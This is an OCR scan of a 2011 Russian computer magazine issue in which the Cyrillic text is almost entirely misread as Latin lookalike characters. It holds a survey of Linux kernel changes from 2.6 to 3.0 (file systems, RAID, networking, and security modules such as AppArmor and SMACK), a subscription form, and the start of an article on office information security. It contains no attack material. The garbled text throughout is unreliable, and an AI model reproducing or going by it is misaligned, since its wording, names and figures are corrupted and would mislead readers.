[nsatorosTeyeHune Bcero 2.6 u3baBnsanncb 0T Tak HasbiBaemoro Big
Kernel Lock —TexHonoruu, kotopasi nossunacs B Linux'e 2.0 u noseona-
napaboTtatb Ha SMP-cuctemMax, HoycTapenauHa MHOTOMPOLLECCOPHbIX
cucTeMax NpUBOAMAA K NafeHWNIo NPOM3BOAUTENbHOCTU. KTeMe Mac-
WwTabupyeMocTn TakKe oTHoCATCS TexHonorun Receive Packet Steering
(RPS) u Receive Flow Steering (RFS), nozsonsioume pacnapannennsats
Harpy3kynoobpaboTke TpadukaHasce CPU.

KcTtaTtu, npo agpa: nosBmnnack ele nogaepxKa npoLeccopos c apxu-
TekTypon Tile, UMetoWwnx oT 32-X B0 HECKOJIbKWUX COTEH ffep.

Cepsep HeMbiciuM 6e3 RAID'a. BaToit 06nacTv 2.6 ToXe NpUHEC He-
CKOJTbKO Yy YLIEeHUN:
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KonuyecTBo cTpok Koia BAApe pacTeT HEBEPOATHLIMU TEMNAMU

e Peanusauua RAID6 (korpa 3 Maccuea Bbifie1910TCS ABa 4UCKa MO
KOHTPOJbHbIE CYyMMbI).

e [lopnepxka «RAIDS reshaping» —pobaBneHune [ONOAHNTENbHBIX
LMCKOB BMaccus be3 HeobX0AMMOCTY NepPeCcTPOEHUs.

e Bo3MoxHocTbnpeobpasosanua RAID1 B RAIDS, RAID4 B RAIDS,
RAID5 8 RAID6 (M 06paTHo).

[obaBneHo HeckonbKo HOBbIX kKnacTepHbix @C. Ecnv B ABYX cnoBax,
ToKNacTepHble GpainnoBble CUCTEMbI HYXXHbI 19 KOPPEKTHO paboTsl He-
CKOJIbKUX CEPBEPOB-HOL C 06LMM BHELIHUM XpaHunuLLeM (BocTynHbiM,
Hanpumep, noiSCSIunu AoE).

e OracleCluster Filesystem (0CFS2) — n3HayanbHo pazpaboTaHHas u
onTuMmusuposaHHaa ana ceonx CYB[ komnanumen Oracle.
¢ Global File System (6FS2) —BapwaHT, nogaepxvsaembiii RedHat'om.

PacnpepenerHble ®C, BoTANYME OT KNACTEPHbBIX, UCMIONB3YOT ANC-
KOBble pecypchl cBoux cepBepoB-Hoa. 06e OC HaxopaTcs B npoLecce
aKTWBHOM pa3paboTku [MoMedeHbl Kak KCNepuUMeHTanbHbIe), Ho 3achy-
KMBAKOTYNOMUHaHUA o cebe:
¢ POHMELFS (Parallel Optimized Host Message Exchange Layered File

System) siBnsieTcs pa3paboTKo Hawwero cooTeyecTBeHHNKa (0 yeM,

CoBCTBEHHO, HETPYAHO [OTrafaThCs, UCXOAS U3 HA3BaHWA) M NO3ULMO-

HUpyeTCcs Kak pacnpefeneHHas nbonee boicTpas 3ameHa NFS.
¢ Ceph—obpabaTbiBatowas netabaiTbl faHHbIX, 0bnagatoLas Boico-

KOV 0TKa30yCTONYMBOCTbIO (06ecneyeHHOM xpaHeHeM Kaxgoro paiina

Ha HeCKOJIbKNX y3nax) v nerko pacluupsieMas [0CTaTo4HO NpocTo

,06aBNTb HOBBIN XOCT, M laHHble byayT nepepacnpefeneHsl Cy4eToM

NOSBAEHUS HOBON HOAbI).

Ewe oaHa Belb, noaBMBLIAACA B 2.6 M KacaloLWanca yCTPONCTB Xpa-
HeHusa faHHbix, —DRBD, c moMolLblo KOTOPO MOXHO CUHXPOHWU3MPOBATL
no cetu aga bnoyHbIx ycTpoiicTea (no cyTu, cetesoit RAID1).

[lpyrvne HoBoBBeAEHMA:
¢ Oaiinosas cuctemaexofs, npepoctasnstowas foctynk 0SD-Hako-
nutensM (Object Storage Devices). B otaunune ot 06bl4HbIX HakonuUTeNel

MUHUMabHbIM 00 EKTOM ABNISETCS HE 610K AaHHbIX, @ Cpa3y 00bekT,

cofepXalluii HYXXHbI Gaiin. Takme HaKONUTENN eLLe He MOJYYUIK

6osiblIOro pacnpocTpaHeHus, Ho, BO3MOXKHO, 3a HUMW ByayLiee.
e bBubnuotekalibata bbinacepbesHonepenncaHa—Tenepbnognep-
xunsaetNCQwuhotplug.
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e T[logpnepxkaTexHonoruu InfiniBand, yactoucnonb3yemoi Ans cBs3un
y3nos knactepa unpotokona RDS (Reliable Datagram Sockets),
npefHa3Ha4YeHHOro AN BbICOKOCKOPOCTHOr0 06MeHa coobuieHnsamm
Mexnyy3namu. Bce aTunynyylleHns npuHeCan CBOU Nofbl —B pei-
TuHre TOM-500 cynepkoMnbioTepoB Mypa BOTye NPOA0SKUTEIbHOE
Bpems 6onee 90 % 3 HUx paboTatoT nogynpasneHnem Linux'a.

MAJIEHBEKWE KOMIMBKOTEPDI

Ha pbiHke desktop-cucTem cnpoLeccopHoil apXMTeKTypo BCE ACHO —

x86/amdé4, uTouka. BMupe BCTpanBaeMbiX CUCTEM CITUM BONPOCOM

noKa noJsiHbIA pa3bpoau WwaTaHne —He XBaTUT NanbLes, 4Tobbl Nepe-
cuutatbBce embedded-CPU-apxutekTypbl. U3 f06aBAEHHbIX B 2.6 MOXHO
otMeTuTb: UniCore, mé68knommu, m32r, Fujitsu FR-V, Atmel AVR32,

MicroBlaze, S-core. KpoMe HOBbIX apxMTeKTyp 2.6 NpUBHEC MHOTO yNyyLle-

Huii B embedded linux:

e HoBbIi, NONHOCTBIO NEPEenuUCcaHHbIi 6ecnpoBOAHON CTEK M BO3MOXKHOCTb
paboTbl BKayecTBe 6€CNPOBOAHOM TOYKN LOCTYNA MONOXKNTEABbHO NO-
BV Ha pacnpocTpaHeHue Linux'a Ha JoMaLLHUX poyTepax.

e TexHonorus Execute-in-place no3onseT BbINONHATL KOA be3 npes-
BapuTeNbHOro KonvpoeaHus eros 03Y.

e [logcuctema ASoC (ALSA System on Chip) o6ecneunsaet nyuwyio
noanepxky ALSAHa SoC (cuctemax Ha kpucTtanne).

e UBI—uro-toBpose LVM gnaraw-flash-unnos (koTopble ucnonbsyiotcs
BOBCTpPauBaeMbix ycTpoicTeax). MasHoe oTnnyne oTLVM —KoppekT-
Has obpaboTka buTeix sueek. Komnanus Nokia cozgana cneyunansHyio
dannosyto cuctemy UBIFS, paboTatowyto nosepx UBI-TomoB.

e EuweopaHadainosas cuctema, cneymanbHo npefHasHavyeHHas 4as uc-
nonb3oBaHus Ha Flash-HakonuTensx,—LogFS. CxumaeTnaHHble nepes
3aMM1Cbio U MUHUMU3MPYETKOIMYECTBO LIMKJI0B Nepe3annucn a4einku.

e T[loapnepxka wuHbl SPlumexannsma SDIO (Secure Digital I/0) gns
nofkyeHus yctponcts yepes MMC/SD-cnotsl (GPS-npueMHuky,
Wi-Fi-, Bluetooth- n Ethernet-agantepbl u MHoroe gpyroe).

e [logpepxkanpoTtokona CAN (Controller Area Network). 0guH us npu-
MepoB, FAe 3TOT MPOTOKOJ aKTUBHO UCMONb3yeTcsl, —bopToBas ceTb
aBToMobuns.

e VIHTepecHOe BOCTMXEHNE — BO3MOXHOCTbYCTaHOBUTb Linux Ha Sony
PS3 [anb, yToyxe HeakTyanbHo), Nintendo Wii unn Gamecube.

[oBopsinpoembedded-pelweHus, Henb3s He yNOMSIHY Tb CMapTGOHbI U
nnaHweTsl. bnarogaps Google Android’y Ha 3ToM pbiHke Linux BbipbiBa-
eTca BAnAepbl. U xoTs natumn ot Google, ucnonbsyembie B Android’e, 6binn
yAaneHbl U3 BaHWUbHOW BETKW, OXKMUAAEeTCH, 4To B banxaiwem byayuiem
OHUTYAa BEPHYTCA.

[MEPCOHAJIbHbIE KOMIBIOTEPHI

OonsaLinux'anaPCpacTeTHe 0c060akTUBHO — M0 MHEHMI0 0dULMab-
HOM CTaTUCTUKW, co BpeMeH Bbixoaa 2.6.0 konebnetcs B paniore 1-2 %.
HoTeMHe MeHee BP0 NOCTOSHHO 06aBNAOTCA HOBbIE GULLKM, CNOCO6-
Hble 061erynTb Xu3Hb Linux user’a.

MepBoe, 4To HyXHO desktop-nonb3oBaTenio,—3To NOALEPXKA BCETO
eroobopyfoBanus. BatomMecTe aapo 2.6 noka3ano o4eBULHbIV Nporpecc
(BCMOMHM, KaK OCTOPOXKHO HYXHO 66110 BbIBUMpaTL HOYT oA Linux ewe Kakmnx-
TONeTNATb Ha3aa). MoOXKHO 0TMETUTb ClleflyloLLMe OCHOBHbIE MOMEHTbI:

[NPOBJIEMAS.0

MocneTorokak penuns 3.0 ctannossnaTbcs B AUCTpubyTUBaX,
BbIICHUIOCb, 4TO MHOTUE NPU0XEHWUS HENPABUbHO BOCTIPUHUMAIOT
Bepcuio (Hanpumep, ucnonbays «#ifdef LINUX2» AN y4UTHIBASA TONBKO
4ucnonocne nocnefHen TOYKM ANg onpeaenerus sepcuml. B cnucke
NpobeMHbIX 0Ka3aN0Cb HACTONbKO 60bLLIOE KONIMYECTBO NPUIOXEHUN,
ytoans Fedora 15 nepeumeHoBanu Linux3.082.6.40, yTobbl 0becneynTs
COBMECTUMOCTb C TaKUMU NPUITOXKEHUSMU.

XAKEP 10/153/2011



Tykcnokonenns 3.0

Kappusponuka, cospanHoroMicrosoft'oMmBuecTb 20 netusi Linux'a

06HoBneHHbIN menuconfig

e Cepbe3Hoynyylwmnace noffepxkasuaeoyctponctscUSB-
MHTepdeiicom bnarofaps BKIKYEHUIO BAAPO ApaiiBepa Aas
yctpoicTs cnopaepxkoit UVC (Universal Video Class) v BknodeHuio
KOMNeKTa paliBepos gspca ansa seb-kamep [nogaepxusaeTbonee
230 He-UVC-ycTponcTs).

¢ MoppepxkaUSB3.0uACPI4.0 noseunack BLinux'e paHble, YeM BO
Bcex apyrux OC.

o [loppepxKa pa3iMyHbIX NPOTOKONOB becnpoBOAHON Nepeaymn faH-
Hbix: Wireless USB, WiMAX (IEEE 802.16).

e [lnsaeupeokapt Nvidiacnnamu coobuiecTBa HanucaH HOBbI BUAEO-
npavieep Nouveau c nogpepxkoi 3D-yckopeHus.

e 3acyeTBHeapeHusTexHonoru Kernel mode-setting (onpesenetxue
YCTPOWCTB BbIBO/IA M HACTPOKa PeXXMMOB X paboTbl Tenepb BO3I0XKEHbI
HasiApo, aHe Ha ApaiiBep X Server] BUpTyasbHble TepMUHANbI TENEpPb UMe-
10T HeITUBHbIE pa3peLleHns U NepekloyYeHne Mexay HUMU MPOUCXO[UT
boneennasHo. KToMy e cnerkaymeHblunaock Bpems 3arpy3sku OC.

o [llopnepxkaBupeokaptcuHtepdericom USBucneynanbHbix nepe-
X0[HUKOB, no3Bonstowmx noaknounts VGA-mMountop B USB-nopT.

e [lepexopBhibernationnBo3BpaTN3 HEr0 3HAYNTENBHO YCKOPUNCH
33 CYETACUHXPOHHOIO BKAKOYEHUS/BbIKIIOYEHUS ApanBepoB.
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e GPUswitching—B03MOXHOCTb Ha neTy nepekioyaTbCa MeXAY ABY-
Ms BUAeOKapTaMu Ha HoyTbyke. [paBfa, X Server Bce paBHO HYXXHO
byaeTnepesanycTuTe.

e [lobaeneHanopnepxkaHDD ccektopamu bonblie 512 6aiT (certyac
nonyyatoT pacnpoctpaHeHune Mogenu c 4 Ko).

e T[logpnepxkanpotokonos PPTPuL2TP. CywecTBeHHas 4acTb Npo-
BalifepoB B Poccun pa3faeTno HUM MHTEpHeT.

e [lobaBneHanoanepxkagatynkos napernns s HDD HoyTos. [puno-
Ny4eHUM CUTHaNa 0T JaTyMKa FONOBKM HeMeJIeHHO NapKyTCs.

* MHTepaKTMBHOCTb Ha AeCKTOMe yanocCh Cyl,eCTBEHHO NOBbI-
CWUTb3acyeTUcnonb3oBaHns nnanuposwmka CFS (Completely Fair
Scheduler) n cnoMoLbio HECN0XKHON TEXHONOM MM aBTOMaTUYECKO
rpynnupoBKM 3apau.

e Y[eneHo MHOro BHUMaHWs ynpaBAeHWIo MUTaHWEM Ha HOYTaX, 4To
MO3BOJINI0 HEMHOTO CHU3UTb 9HepronoTpebieHne, BOCHOBHOM 33
CYeTBO3MOXHOCTH cobpaTb aapo 6e3 Tukos (tickless), yTo nossonser
npoueccopy AoJiblle HaXo4UTbCS B peXKiMe sHeprochepexxeHus.

®ANJIOBbIE CUCTEMbI

[lymato, ecnvnocyntatb KonnyecTtBo nogaepxusaemblx ®C, To Linux Tyt
OyAeTBHE KOHKYpeHUMUN. Kax bl penn3 npuHoCKUN nnv kakoe-Hubyab
HOBOBBELEHMWE, UV MOAAEPXKKY KaKoi-HNbyab HoBot ®C. Camoe kpyn-
HOe HOBOBBefeHWe BeTKN 2.6 B3TOW 061acT — BHeApeHNe TEXHON0r K
FUSE (Filesystemin Userspace). Ecnv He BAaBaTbcs B No4pobHOCTH, TO
OHano3BonsieTnucaTb GpannoBble CUCTEMbI B BUAE 00bIYHbBIX MTPOrpaMm
(aHe Moaynei agpal, paboTalLnx B NpoCTpaHCTBE NONIb30BaTENS.
370 0cobeHHO ya06HO ANA CO3AaHNSA BUPTYaNbHbIX GalifioBblX CUCTEM,
KoTopble caMuno cebe HUYEro HATAE He XPaHAT, a NPOCTO OCYLLeCTBASIOT
TpaHcNaumMio BbizoBoB. B kayecTBe npumMepa Takux ®C MoxHoO NnpuBecTu:
e SSHFS—pocTtynkypnaneHHon ®Cuyepe3 SFTP.
e GmailFS —coxpaHseTcBoM LaHHble B BUAE MoYTbI B Gmail.
e WikipediaFS—npeactasnenue ctateit s Wikipedia B Buge daiinos
(KOTOpbIe MOXHO pejakTMpoBaTh).

EcTb TakXe Heckonbko BnoJiHe peanbHbix OC, paboTatowmnx yepes FUSE:

¢ NTFS-3G—camas nonynspHas peanusauns nogaepxku NTFS nog Linux.

e ZFS-Fuse —peanusauus OC ZFS (Bkato4eHre nofaepXKIM KOTOPOi B
AP0 HEBO3MOXHO 13-33 HECOBMECTUMOCTU TULLEH3NT]A).

LanbHenwwum paszsutnem npen FUSE ctanmogynb CUSE, nossonsiowmi
€03/4aBaTb CMMBOJIbHbIE yCTPOICTBA (HanpuMep KNasuaTypy uav npuxTep)
“3npocTpaHcTBanonb3oBaTens. [lokaaTa TeXHONOr VS LUIMPOKOTO Pacnpo-
CTPaHeHWs He MoslyYnna n UCNonb3yeTcs HebobLLINM YACIOM MPOEKTOB,
CaMbIi U3BECTHBbIV 3 KOTOPbIX 3TO, HaBepHoe, 0SS Proxy, amynupytowmin
0SS nyTeM cospanusyctpoiicte/dev/dsp, /dev/adsp v /dev/mixer.

MPEKPACHOE IAJIEKO

KMOMeHTY Bbixof,aXypHasa B neyaTb HoBasi Bepchsi 3aHoMepoM 3.1yxe,
CKopee BCero, 3apenn3ntcs. BHel oxnpaTcs cneayowe none3HocTH:
e [loppepxkaOpen-Source-CPU-apxutekTypbl OpenRISC.

e [loppepxkamnskopobkuocHoBHoro koHTponnepa ans Nintendo Wii—
Wii Remote.

e YckopeHve paboTbl BCTpoeHHOro BUaeospa npoyeccopos Intelno-
cnegHeronokosienns (Sandy Bridge).

e OTkpbiTbii apaiBep NouveauTenepb 13 Kopobku nopnepxusaert
GeForce 400/500.

e 3HaunTenbHble ynyywenus s nogaepxke Intel GMA500. lo HefaBHero
BPEMEHM C Mo AePXKKON 3TOro YnnceTa bbl10 COBCEM MJI0X0 — B OT/IMYME
oTpa3spaboTaHHbix Intel'oM c HyNns XXenesok, HopMasbHbI fpaiiBep
HEBO3MOXHO bbIJI0 CLieN1aTh N3-3a 0rpaHUYeHN TMLEH3NOHHOTO
xapakTepa, Tak kak, nocyt, Intel GMA500—aT0 PowerVRSGX 535 o1
Imagination Technologies.
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[laHHble cnerkaycTap

, Ho 0BLee pacnp Hew noch:

Linux nuwyTKpynHble KOMNaHuu

Bbino nobaBneHo Heckonbko HOBbIX OC:

ext4—HacnegHuk ext3. Bonee bbICTpbINA, MEHEE NOLABEPXKEHHBIN Gpar-
MeHTaLMu, NoaAepXK1BaoLLNii pasaensl go 1 akcbubaiira (260 6anT).
NILFS2 — xypHanbHo-cTpykTypuposaHHas ®C, yToB nepeBofe Ha
4esloBEYeCKNI fA3bIK 03HaYaeT UCMOb30BaHWe [N XpPaHEH NS BCeX
JaHHbIX CMeLManbHbIX 10r0B, HOBbIE JaHHbIe BKOTOPbIX He Nepe3a-
nucbiBatoT cTapble. OCHOBHbLIM NOJIOXUTENbHBIM 3G GEKTOM TakoM
opraHv3aLnmn ABNSETCH BO3MOXKHOCTL CMOHTUpoBaTh PC B cocTOAHMM
HanoboonpefeneHHbI MOMEHT BpEMEHM.

Btrfs cospasanacs kak aHanor ZFSotSun (tenepb Oracle) numeer
npakTuyeckun Te xe GyHKLmMm (CHamWoTbl, Npo3payHyto KoMMpeccuio,
onTuMmusaymio ans pabotel ¢ SSD v MHoroe apyroe). OC ewe Asnsercs
IKCNeprUMeHTaNnbHoM, Ho B 6nuxKaiweM byayLieM fonxkHa ctabunu-
31poBaTbca. MHorMe AUCTPUbY TUBbLI UMEIOT M1aHbl N0 UCMO/b30Ba-
HUI0 ee noymonyaxuio (Hanpumep Fedora 17).

Squashfs —read-only-daiinosas cuctema c BbICOKUM ypoBHEM
KoMnpeccuu. Mcnonb3yetcs, kak npasuio, Ha LiveCD/USB.

Ecryptfs —kak sicHo s HasBaHus, 3To ®C c wndpoBaHuem. PaboTaer
nosepx apyron ®C, 1. e. wndpyet daitnbi/katanoru, a He 6104Hoe
YCTPOMCTBO LLeSIMKOM.

3HaunTenbHbIVi Nporpecc Habnoganca Takxe B obnacTm nofaepx Ky

poaHblx ®C apyrunx OC: peanuszoBaHa Bo3MoxHocTb3anmcu Ha NTFS,
yTeHnsi/3anncy Ha HFS+n HFSX (®C Mac 0S X), utenus/3anucu va UFS2
(®CBSD-cucrem).

CeTeBble OC TOXe He OCTanNCh 63 BHUMaHWUS — peann3oBaHa nof-

cuctema FS-Cache, kelwupyiolwas nokanbHo faHHble, NepefaBaemMble
no ceteBblM ®C, Bpoge NFS, AFS unn CIFS. Camo kewwnpoBaHue gns
nosib30BaTes BbINMONHAETCH abCOMOTHO MPO3payHo.

OcHOBHOE LOCTVMKeHME BETKM 2.6 —nopfepxKa IPvé Bo Bcex noacuc-
TeMmax [netfilter, SELinux’e, ceTesbix ®C), a TakXe HOBbIX TPOTOKOJIOB 1
CTaHAapToB:

126

UDP-lite (RFC 3828) — oueHb noxoxuit Ha UDP-npoTokos, ocCHOBHOE
0TNINYME — MOBPEXAEHHbIE MaKeTbl C HENPaBUIbHON KOHTPONIbHOM
CcyMMon He oTOpacbiBatoTcs. [1ng HeKoTopbIX 0bnacTeit npuMeHeHus
(VoIP, noTokoBoro Bnaeo) 6MTbIN nakeT yylue, 4eM HUYero.

DCCP (Datagram Congestion Control Protocol, RFC 4340) —npo-
TOKOJI C MeXaHU3MaMU NI 0TC/IeXNBaHUsA neperpy3ok B CeTu.
OcHoBHas 0bnacTb npUMeHeHUs —TaM, e NakeTbl, KOTOPbIe He yaa-
eTcAnepepaTh, bbiCTpoycTapeBalOT MIyYLle NoNbITaTbCA NepefaTh
Hosble (VolP, noTokoBoe ayamo/suaeo, oHnanHoBbie Urpbl).

IEEE 802.11s —6ecnposogaHble mesh-ceTu. Takue ceTn obpasytotcsa n3
MHOXeCTBa peer-to-peer-coeHeHN1 Y3108, HaXOAALMXCA B 0bacTy
paAMonoKpbITUS Apyr Apyra. Takxe peann3oBaHa nojAepxKKa cneLm-
asbHoro npoTokonaMapwpyTusaumn B.AT.M.AN. (Better Approach To
Mobile Adhoc Networking), paspa6otaHHoro gns mesh-ceteit. K cnosy
CKa3aTb, Takue CeTUyXKe 0BOJIbHO NONYNAPHbI M HabupaTobopoThi 3a
rpaHueit. Bonee nofpobHyio MHPOPMaLMIO M CXEMbI yXKe CYLLECTBYHO-
LMX CeTEN MOXKHO MOCMOTPEeTb Ha caTe www.open-mesh.com.

Ewe oaHo MHTepecHoe HOBOBBeeHe — npoeKTaccel-pptp, npes-

cTansiownit ns cebs PPTP/PPPoE/L2TP-cepsep u PPTP-knneHT npsimMo
BAApe.3acyeTpaboThl HaypoBHE sApaBCE 3TO jeno paboTaeT bbicTPO U
He cunbHo rpy3uT CPU.

BE30MACHOCTb

Bob6nacTv6e3onacHocTM caMoe BaxHoe HOBOBBEeHMe — NOosiBNIeHWe pas-
JIMYHBIX CUCTEM MPUHYANTESIBHOMO KOHTPOIA focTyna (Mandatory Access
Control), no cyTun, aHanoros SELinux'a, HO C HECKOJIbKO MHBIMMW MOAXO0AAMM:

AppArmor —ocHoBHO KoHKypeHT SELinux'a, nonan B BaHuabHoe
AAPO No3xXe BCex NofobHbIX cucTeM (B 2.6.36). 0TMunTENbHAR 0CO-
6eHHOCTb—onpeaeneHve NOJHOMOYNI Ha ocHOoBe aifoBoro NyTH.
TOMOYO —kak u AppArmor, ucnonb3yeT B CBOWX NpaBunax epanno-
Bble NyTU 40 06bekTa. OAHO U3 0CHOBHbBIX 0TNIMYMIA 0T AppArmor'a—
BO3MOXHOCTb yKa3blBaTb B NpaBuiax, kakumobpasom bbino
3anyleHo npunoxenue. Hanpumep, ans untepnperatopa/bin/bash,
3anyweHHoro Yyepes sshd, MoXHo yka3zaTb bonee cTporue orpaHuye-
HWS, YeM [LN19 BbI3BAHHOT0 JIOKANbHO.

SMACK (Simplified Mandatory Access Control Kernel) — B HekoTo-
poM pone aHanor SELinux’a (Toxe ncnonb3yeT MeTKM A8 06bEKTOB 1
cy6beKToB), KOTOPbIN NpoLLe HaCTpanBaThb.

Takxe n3 MHTEepeCHbIX BeLLen, KacarLwmxcs 6e30MacHOCTH, MOXKHO OTMETUTb:

MexaH13M, N03BONALLNIA pa3peLaTs UM 610KMpoBaThL NOAKIOYe-
Hue KoHKpeTHbIX USB-ycTpoiicTs.

IMA (Integrity Management Architecture) — mexanusm, nozsonsio-
LA MCNONHATHL TONbKO Gaibl, UMetoLLe KOPPeKTHYI0 LndpoByio
noanuCh.

Address space layout randomization (ASLR) —nogxog, npu koTopom
BaJpecHOM NPOCTPaHCTBe NpoLiecca BCe BaXKHble CTPYKTypbl pac-
MoJI0XeHbl B MPOU3BOJIbHOM NOPSAKe. 3TO 3HAUUTENBHO YCIOKHSAET
aTakuTunanepenonHeHns bydepa.

Per-processsecurebits —Bo3MoXHOCTb NOBbILWLEHUS TPUBKUIETUIA
TOIbKO AN KOHKPeTHoro npouecca, be3 pacnpocTpaHeHns Ha no-
POXAEeHHbIe UM Jo4epHMe NpoLiecChl.

,[l,pyrme HOBOBBeOEHUA pa3H0|7| CTeneHn none3HoCcTu:

HoBble uHTepdechl 4N KOHPUTypUpPOBaHUS NapaMeTpoB cbopku
appa: make nconfig (no cytn, ato o6HoBAEHHbIN menuconfig) u make
localmodconfig (B KOHGUT BKIOYAIOTCS TONLKO 3arpyKeHHble Ha
TeKyLeM xenese Mogyu).

BcocTasagpasowenTtect03Y (aHanor sHameHnToro memtest'a,
A1 3aMycka Hy>KHO MpocTo f06aBNTb ONLmMio memtest K napameTpam
3arpyskuagpal notnaguuk kgdb.

Fanotify —HoBbIi MEXaHU3M AN1F OTCNEXMBAHNSA U3MEHEHUIA B
dalinoBoii cucteme, npuwen Ha cMeHy yctapeslunM inotify n dnotify,

Y KOTOPbIX 6bLIM NpobIEeMbI C OTCNIEXMBAHMEM DONBLLOIO KOINYECTBA
06bekTOB.

Tenepb A5 KaXA0ro NpoLiecca MoOXXHO NOCMOTPeTh, CKOJIbKO Tpadu-
Kanpowroyepe3 dyHkuuu read() nwrite().

MopaepxkayTunutel LatencyTop And aHanusaBpeMeHn peakumum
CUCTeMHbIX OnepaLunii v NpUAoKeHUA. 3T
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rO40BAA
IKOHOMWHA

Moanucka

1. Pa3bopynB0o 3an0nHN NOANMUCHOM KYMOH U KBU-
TaHUWMIO, BbIPE3aB WX U3 XypHana, cLenas Kce-
POKOMUIO UNIM pacneyaTaB C caWTa shop.glc.ru.

2. Onnatu nognucky Yyepes noboit baHk.

3. Bblwnu B pefakLmio Komnuio NOAMUCHBLIX LOKY-
MEHTOB — KYNOHa W KBUTaHLMU — NobbIM 13
HUXENepeyncneHHbIx cnocobos:

* Ha e-mail: subscribeldglc.ru;

* no dakcy: (495) 545-09-06;

e noytow no agpecy: 115280, MockBa,

yn. JlenuHckas Cnoboga, 19, Omera nnasa,
537, odumc Ne 21,

000 «['eim JIaHg», oTAen NOAMMUCKN.

500 pys6.

12 HOMEPOB — 2200 PYb.
6 HOMEPOB — 1260 PYb.

Y3HAW, KAK CAMOCTOATEJ/IbHO NOJYYNUTb
MKYPHAJT HAMHOIO JELLUEBIJIE!

NPU NOANUCKE
HA KOMIUJIEKT XXYPHAJI0B

KEJIE30 + XAKEP + 2 DVD: —
OfIMH HOMEP BCETO 3A 162 PYB/IA
(HA 35% AELIEBJIE, YEM B PO3HMLLY)
BHUMAHME! EC/1/1 NPOM3BECTY y

MOYKHO O®OPMUTb C HOABPS. 3A 6 MECALIEB 2205 PYBJIEM (12 HOMEPOB]

EAVHASA LEEHA N0 BCER POCCUN. [IOCTABKA
3A CYET U3LATENS, B TOM YNCIIE KYPHEPOM
N0 MOCKBE B NMPEAENAX MKAL

ECTb BOMPOCbI? Muwwu Ha infoldglc.ru uaun 3soHn no becnnaTHbiM Tenedo-
Ham 8(495)663-82-77 (pna mockeuyeit) n 8 (800) 200-3-999 (ans xuTenein
apyrvx pernoHos Poccuu, aboHeHTos ceTeit MTC, BuJlain n Meradon).

noaAnUCHOM KYNOH

nPOLUY ODOPMUTL NOAMUCKY
HA DXKYPHAJ1 «XAKEP»

[ +a 6 mecsiues
O] Ha 12 vecrues WsBermenme WHH 7729410015 000 «Teiim JlaHg»
HaunHan ¢ 2011r. OAO «Hopgea BaHk», r. MockBa
p/c Ne 40702810509000132297
O [ocTaBnaTh XypHar no noyre k/c Ne 30101810900000000990
Ha JoMaluHWiA agpec
. B/K 044583990 KI1r 770401001
[ocTaBnsaTh KypHarn Kypbepom -
[ wa agpec oduca* MnaTtenbLmk
[0 Ha pomawnwnin agpec** Appec (c nHgekcom)
(oTMeTb kBagpaT BbIGpaHHOTO BapuaHTa Noanucku)
HasHadeHuve nnatexa Cymma
SUO. Onnarta xypHana « »
c 2011r.
.1N.0.
Kaccup
Moanuck nnatenbLimka
AQPEC NOCTABKM:
vHOeKc
NHH 7729410015 OO0 «lenm JlaHg»
obnactb/kpan Keuranumsa

ropoa

muua

oM Kopryc

kBapTupa/odpuc

TenedoH ( _ )

e-mail

CymMMa onnarbl

*B CBOGOAHOM NoNe yKaxi HassaHue UpMs!
1 ApYryIo HEOBXOANMYIO MHGOPMALIMIO
**B cBOBOAHOM MONe ykaxy Apyryio Heo6X0AMMYIO0 UH(OPMaLMio
V1 anbTepHaTUBHbIA BAPUAHT AOCTABKM B Cryuae OTCYTCTBUS AOMA

Kaccup

OAO «Hoppea baHk», . MockBa
p/c Ne 40702810509000132297
k/c Ne 30101810900000000990

BUK 044583990

K 770401001

MnatenbLmk

Apnpec (c nHgekcom)

HasHayeHue nnartexa
Onnara xypHana «

Cymma

C

2011 r.

P.1.0.

Moanuck nnaTtenbLmka
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INFO|

MpupaspaboTkeno-
nutuku Ub pekomeHayto
npeABapUTeNbHO
03HaKOMUTbCSA CTaKON
KHUro#, Kak Information
Security PoliciesMade
Easy3aaBTopcTBOM
Yapnb3aKpeccoHBypa.

Hukuta ibiMmHckui aka 130z

X

bopbba 33
De30MacHOCTb

Cnyyunack Kak-To pa3y Hallen

dUpMbI 0lHA HEMPUATHOCTb — Mb
MPOUrpanun KOHKYpC Ha NOCTaB-
Ky 000pynoBaHMA roc3akasyuky.
Cymma bbina bonee yeM conmpHas,

a CMTyaLus SBHO TOBOPMJIa O TOM,
4TO NMPOUTpaav Mbl MOTOMY, YTOYy
HalUUX KOHKYpeHTOB bbifia nonHas
nHdOpPMaLLMa 0 Tex LieHax, KoTopble
Mbl BbICTaBJiIieM Ha obopyfLoBaHue.
[Nocne Takoro KoHdy3a f0 pyKoBOA-
CTBa OO, 4TO MHbOPMALMOHHAS
be3omacHoOCTb — Bellb HYXKHas...

128

XU3HEHHAA UCTOPUAO
NOCTPOEHUU CUCTEMBDI
UbBOTAEJIbHOB3ATOU

KOHTOPE

J Tak, NoC/Ie TOro Kak Hall ropbKUi onbIT nokasasn, yto Ub—aTo He
npocToBbinosnHeHve TpebosaHuit 3-152 (0 kKoTopoM Bce paBHO

MasoKTo AyMa), a Koe-4To Apyroe, v HeBbIMONHEeHWe HEKOTOPbIX
3/1eMeHTapHbIX TPeBOBaHN MOXET NPUBECTU K HEMasbIM GUHAHCOBbLIM
ybbITKaM, 0TAeN MHHOPMALMOHHOM He30MacHOCTI MONYYM OTMALLKY Ha
co3faHue CUCTeMbl 3aLLMTbl MHGOPMALUN B OTAE/IbHO B3STOM NpeAnpus-
TK. [oCMOTPUM, YTO XKe U3 3TOT0 MONTYYNIIOCh.

4TO 5blJ10 BCAMOM HAHAJIE?

EcnnocTaBuTb BCTOpPOHE pelleHne OpraHn3aLMoHHbIX BONPOCOB, KOTO-
pble Masno BoNHyT YuTaTens (B caMmoM iene, 3a4eM BaM 3HaTb Mpo opra-
HW3aLMI0 MPOMNYCKHOrO pexxuMa?), To B CyxoM ocTaTKe 0CTaeTca 3a4aqa o
CO3[,@aHUV HEMPUCTYMHOW CETH, PeLUNTb KOTOPYI0 TOJIbKO CBOUMMU CUaMU
yHac He ObIN0 HUKaKO BO3MOXHOCTU. YToy Hac bbino: Hebonbwasn JIBC
(75+ Nonb30BaTENbCKUX MALLWH], N3 COBCTBEHHBIX CEPBEPOB — TOJILKO
KoHTpossep foMeHa, paitn-cepsep ncepsep ¢ 1C MTepMUHaNbHbIN
cepBep. [ToMnMo rnaBHoro odpuca, B HeCKOIbKNX FOPOAAX PerroHa cylie-
CTBOBaAJN NpeCTaBUTEIbCTBA U TOProBble TOUKM, KOTOpble paboTanu ¢
TeM e caMbiM 1C 4epe3 TOT Ke caMblii TepMUHaNbHbIN cepBep, MOAKII0-
